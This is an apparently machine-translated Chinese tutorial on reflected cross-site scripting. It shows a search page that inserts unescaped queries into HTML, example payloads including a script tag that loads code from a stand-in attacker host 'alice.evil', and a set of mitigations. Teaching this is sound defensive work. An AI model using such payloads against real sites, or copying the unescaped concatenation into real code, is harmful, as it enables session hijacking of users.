反射的跨站點指令碼(XSS)
假設 Joe 擁有一個網站,允許你登入,檢視小狗視訊,並將其儲存到你的帳戶。
每當使用者在該網站上搜尋時,他們都會被重定向到 https://example.com/search?q=brown+puppies
。
如果使用者的搜尋與任何內容都不匹配,那麼他們會看到以下訊息:
你的搜尋( 棕色小狗 ),沒有任何匹配。再試一次。
在後端,該訊息顯示如下:
if(!searchResults){
webPage += "<div>Your search (<b>" + searchQuery + "</b>), didn't match anything. Try again.";
}
然而,當 Alice 搜尋 <h1>headings</h1>
時,她得到了這個:
你的搜尋 ( ****
標題
)沒有匹配任何東西。再試一次。
原始 HTML:
Your search (<b><h1>headings</h1></b>) didn't match anything. Try again.
比愛麗絲搜尋 <script>
alert(1)</script>
,她看到:
你的搜尋()與任何內容都不匹配。再試一次。
和:
比 Alice 搜尋 <script src = "https://alice.evil/puppy_xss.js></script>really cute puppies
,並在她的位址列中複製連結,而不是電子郵件 Bob:
鮑勃,
當我尋找可愛的小狗時 ,沒有任何反應!
當 Bob 登入到他的帳戶時,Alice 會成功地讓 Bob 執行她的指令碼。
減輕:
- 在沒有找到結果的情況下返回搜尋項之前,在搜尋中轉義所有尖括號。
- 未找到結果時,請勿返回搜尋詞。
- 新增內容安全策略 ,拒絕從其他域載入活動內容